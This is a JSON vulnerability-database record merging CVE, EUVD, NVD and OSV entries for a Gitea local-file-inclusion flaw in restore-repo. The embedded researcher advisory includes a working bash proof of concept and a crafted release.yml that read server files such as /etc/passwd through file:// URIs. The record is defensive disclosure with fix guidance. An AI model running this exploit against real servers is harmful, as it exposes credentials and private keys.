{"id":"GO-2026-6032","revision":null,"records":[{"revision":"f2bebfeb338a409f9cdaa29dd891832c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-58420","aliases":[],"title":"Local File Inclusion via file:// URI in Migration Restore","description":"Local File Inclusion via file:// URI in Migration Restore","state":0,"publishedAt":"2026-08-13T16:44:47.452+00:00","modifiedAt":"2026-08-14T17:43:31.912+00:00","affected":[{"ecosystem":"Vendor product","name":"Gitea Open Source Git Server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Gitea\",\n                    \"product\": \"Gitea Open Source Git Server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"lessThanOrEqual\": \"1.26.4\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unaffected\"\n                }"}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://blog.gitea.com/gitea-1.27.0-is-released/"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58420","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-58420","identifiers":["CVE-2026-58420"]},"retained":false,"historicalAffected":[]},{"revision":"e35abeed932c4f6aa4cd3059eed45076","observedAt":"2026-11-19T17:49:10.487+00:00","statement":{"source":"euvd","id":"EUVD-2026-58153","aliases":["CVE-2026-58420","GHSA-5ggr-2f2h-jmvm"],"title":"Local File Inclusion via file:// URI in Migration Restore","description":"Local File Inclusion via file:// URI in Migration Restore","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N","score":4.4,"severity":null}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://blog.gitea.com/gitea-1.27.0-is-released/"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-58153","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 13, 2026, 4:44:47 PM","dateUpdated":"Aug 14, 2026, 5:43:31 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-2304","title":"Gitea: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-58417","CVE-2026-58420","CVE-2026-58425","CVE-2026-58427","CVE-2026-58428","CVE-2026-58429","CVE-2026-58431","CVE-2026-58432","CVE-2026-58433","CVE-2026-58434","CVE-2026-58435","CVE-2026-58436","CVE-2026-58437","CVE-2026-58438","CVE-2026-58439","CVE-2026-58440","CVE-2026-58441","CVE-2026-58442","CVE-2026-58443","CVE-2026-58444","CVE-2026-58445","CVE-2026-58507","CVE-2026-58508","CVE-2026-58510","CVE-2026-58511","CVE-2026-59763","CVE-2026-59765","CVE-2026-59766","CVE-2026-23603","CVE-2026-42931","CVE-2026-50105","CVE-2026-54481","CVE-2026-55982","CVE-2026-55984","CVE-2026-55986","CVE-2026-55987","CVE-2026-56443","CVE-2026-56654","CVE-2026-56657","CVE-2026-56750","CVE-2026-56755","CVE-2026-57886","CVE-2026-57894","CVE-2026-57897","CVE-2026-58314","CVE-2026-58416"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-58153","identifiers":["EUVD-2026-58153","CVE-2026-58420","GHSA-5ggr-2f2h-jmvm"]},"retained":false,"historicalAffected":[]},{"revision":"898b6644231b404db28f2680e70dd5bb","observedAt":"2026-10-25T14:19:16.843+00:00","statement":{"source":"nvd","id":"CVE-2026-58420","aliases":[],"title":"Local File Inclusion via file:// URI in Migration Restore","description":"Local File Inclusion via file:// URI in Migration Restore","state":0,"publishedAt":"2026-08-13T17:17:26.513+00:00","modifiedAt":"2026-08-26T16:53:48.3+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N","score":4.4,"severity":"MEDIUM"}],"references":["https://blog.gitea.com/gitea-1.27.0-is-released/","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58420","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-284"],"productCriteria":[],"sourceDates":{"published":"2026-08-13T17:17:26.513","lastModified":"2026-08-26T16:53:48.300"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-58420","identifiers":["CVE-2026-58420"]},"retained":false,"historicalAffected":[]},{"revision":"377fba57241a480b8d205646b6975f60","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5ggr-2f2h-jmvm","aliases":["CVE-2026-58420","GO-2026-6032"],"title":"Gitea: Local File Inclusion via file:// URI in Migration Restore","description":"# Local File Inclusion via file:// URI in Migration Restore\n\nTarget: go-gitea/gitea\nComponent: services/migrations/gitea_uploader.go, modules/uri/uri.go\nSeverity: High\nAffected Versions: <= v1.22.x (all releases), master as of latest commit\nResearchers:\n- Isa Can — Eresus Security (https://github.com/isa0-gh)\n- Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)\n\n---\n\n## Summary\n\nGitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.\n\n---\n\n## Impact\n\nAn attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:\n\n- app.ini — containing database passwords and secret keys\n- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)\n- TLS certificates and private keys\n- Cloud provider credential files (e.g. ~/.aws/credentials)\n- Any other file readable by the Gitea process user\n\nThe exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.\n\n---\n\n## Affected Code\n\n### modules/uri/uri.go\n```\nfunc Open(rawURL string) (io.ReadCloser, error) {\n    u, err := url.Parse(rawURL)\n    if err != nil {\n        return nil, err\n    }\n    switch u.Scheme {\n    case \"http\", \"https\":\n        resp, err := http.Get(rawURL)\n        ...\n    case \"file\":\n        return os.Open(u.Path) // no scheme validation, no path restriction\n    }\n}\n```\n### services/migrations/gitea_uploader.go (~line 370)\n```\nfunc (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {\n    for _, rel := range releases {\n        for _, asset := range rel.Assets {\n            rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated\n            ...\n            // file content saved as release attachment\n        }\n    }\n}\n```\n---\n\n## Attack Scenario\n\nAn attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:\n\n1. Create a malicious archive containing release.yml:\n```\nreleases:\n  - tag_name: v0.0.1\n    assets:\n      - name: exfiltrated.txt\n        download_url: \"file:///etc/passwd\"\n```\n2. Run restore:\n```\ngitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo\n```\n3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.\n\n4. Retrieve via API:\n```\ncurl -s \"http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets\" \\\n  -H \"Authorization: token ADMIN_TOKEN\" | jq -r '.[].browser_download_url'\n```\n---\n\n## PoC\n> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.\n```\n#!/usr/bin/env bash\n# PoC: Gitea LFI via release.yml DownloadURL\n# Requires: admin credentials, gitea binary on PATH (server host)\n\nGITEA_URL=\"${1:-http://localhost:3000}\"\nADMIN_TOKEN=\"${2:-REPLACE_ME}\"\nTARGET_FILE=\"${3:-/etc/passwd}\"\nOWNER=\"test-org\"\nREPO=\"lfi-test\"\n```\n# 1. Create target org and repo via API\n```\ncurl -sf -X POST \"$GITEA_URL/api/v1/orgs\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"username\\\":\\\"$OWNER\\\",\\\"visibility\\\":\\\"private\\\"}\" || true\n\ncurl -sf -X POST \"$GITEA_URL/api/v1/user/repos\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"name\\\":\\\"$REPO\\\",\\\"private\\\":true,\\\"auto_init\\\":true}\" || true\n```\n# 2. Build malicious archive\n```\nTMP=$(mktemp -d)\nmkdir -p \"$TMP/bundles/$OWNER/$REPO\"\n\ncat > \"$TMP/bundles/$OWNER/$REPO/release.yml\" <<YAML\nreleases:\n  - tag_name: v0.0.1\n    name: test\n    body: \"\"\n    draft: false\n    prerelease: false\n    assets:\n      - name: output.txt\n        download_url: \"file://$TARGET_FILE\"\n        size: 0\n        download_count: 0\nYAML\n\ncd \"$TMP\" && zip -r poc.zip bundles/\n````\n# 3. Trigger restore\n```\ngitea restore-repo \\\n  --zip-path \"$TMP/poc.zip\" \\\n  --owner \"$OWNER\" \\\n  --repo \"$REPO\" \\\n  --units release 2>&1\n```\n# 4. Retrieve exfiltrated content\n```\necho \"[*] Fetching exfiltrated content...\"\nRELEASE_ID=$(curl -sf \"$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" | jq -r '.[0].id')\n\ncurl -sf \"$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" | jq -r '.[0].browser_download_url' | \\\n  xargs -I{} curl -sf \"{}\" -H \"Authorization: token $ADMIN_TOKEN\"\n\nrm -rf \"$TMP\"\n```\n---\n\n## Root Cause\n\nuri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.\n\n---\n\n## Fix Recommendation\n\nIn services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():\n```\nparsed, err := url.Parse(asset.DownloadURL)\nif err != nil || (parsed.Scheme != \"http\" && parsed.Scheme != \"https\") {\n    log.Warn(\"Skipping release asset with non-HTTP URL: %s\", asset.DownloadURL)\n    continue\n}\nrc, err := uri.Open(asset.DownloadURL)\nAlternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.\n```\n---\n\n## Workaround\n\nUntil a patch is available, operators should:\n\n- Restrict restore-repo execution to fully trusted operators only\n- Audit all archive contents manually before running restoration\n- Review existing release attachments for unexpected or sensitive filenames\n\n---\n\nIsa Can\nSecurity Researcher — Eresus Security\nhttps://github.com/isa0-gh\n\nYigit Ibrahim\nSecurity Researcher — Eresus Security\nhttps://github.com/ibrahmsql","state":0,"publishedAt":"2026-07-21T20:59:53+00:00","modifiedAt":"2026-07-22T21:11:43.6571214+00:00","affected":[{"ecosystem":"Go","name":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm","https://github.com/go-gitea/gitea"],"sourceUrl":"https://github.com/advisories/GHSA-5ggr-2f2h-jmvm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5ggr-2f2h-jmvm","identifiers":["GHSA-5ggr-2f2h-jmvm","CVE-2026-58420","GO-2026-6032"]},"retained":false,"historicalAffected":[]},{"revision":"e6d3f8b43b3e41a69a6b28cc7f62d719","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6032","aliases":["CVE-2026-58420","GHSA-5ggr-2f2h-jmvm"],"title":"Gitea: Local File Inclusion via file:// URI in Migration Restore in gitea.dev","description":"Gitea: Local File Inclusion via file:// URI in Migration Restore in gitea.dev","state":0,"publishedAt":"2026-07-22T20:36:35+00:00","modifiedAt":"2026-07-22T21:00:31.3172283+00:00","affected":[{"ecosystem":"Go","name":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6032","license":"OSV · upstream source license applies","key":"osv:GO-2026-6032","identifiers":["GO-2026-6032","CVE-2026-58420","GHSA-5ggr-2f2h-jmvm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-20T21:47:54.8999438+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-20T21:47:54.8999438+00:00","lastSuccessAt":"2026-11-20T21:47:55.096099+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:55.0960997+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-ab394367b327976f2e615091908e1dede6760751304792bb06c748f95767cbef-06458e1cc57802c5891e9ed128c2091e7fafc89eb0e76bf9a478b4f5a19e5b96","complete":true,"records":429984,"lastAttemptAt":"2026-11-20T21:46:07.9075861+00:00","lastSuccessAt":"2026-11-20T21:46:07.7897326+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:46:07.9075861+00:00","snapshotPublishedAt":"2026-11-20T21:19:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e94511cbee314bc8a6f7f1c517971406","complete":false,"records":13914,"lastAttemptAt":"2026-11-20T21:48:48.3615466+00:00","lastSuccessAt":"2026-11-20T21:48:48.356+00:00","error":"52 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-20T21:48:48.356+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13910,"expectedIdentifiers":13962,"failedIdentifiers":52},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-20T21:47:54.8999438+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-20T21:47:54.8999438+00:00","lastSuccessAt":"2026-11-20T21:47:55.0972032+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:55.0972036+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-70b73b30b06d4c579e9231c434b0bb26","complete":false,"records":13926,"lastAttemptAt":"2026-11-20T21:48:20.4042966+00:00","lastSuccessAt":"2026-11-20T21:48:20.4+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:48:20.4+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13944,"expectedIdentifiers":13962,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-a479762f093c173daaf94ab78c6e1c5dc2a2542cfb360d0428239181880c03b4","complete":true,"records":9988,"lastAttemptAt":"2026-11-20T21:47:54.8522629+00:00","lastSuccessAt":"2026-11-20T15:48:09.8429817+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.8522629+00:00","snapshotPublishedAt":"2026-11-20T15:18:25+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-20T21:46:07.9771913+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:46:07.9771913+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-0d57516b4a7264d7a3e50d41b832d65b6f43cdd6a79ce9e39aca7fd9f0df1b84","complete":true,"records":3208,"lastAttemptAt":"2026-11-20T21:47:54.8659527+00:00","lastSuccessAt":"2026-11-20T18:47:57.1855043+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.8659527+00:00","snapshotPublishedAt":"2026-11-20T17:03:30+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-6376b86631b8ab9df18a41f5f5342631b4c3060bd612e6b897303fe464a86a58","complete":true,"records":232843,"lastAttemptAt":"2026-11-20T21:47:54.7195057+00:00","lastSuccessAt":"2026-11-20T21:47:53.6119003+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.7195057+00:00","snapshotPublishedAt":"2026-11-20T21:33:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}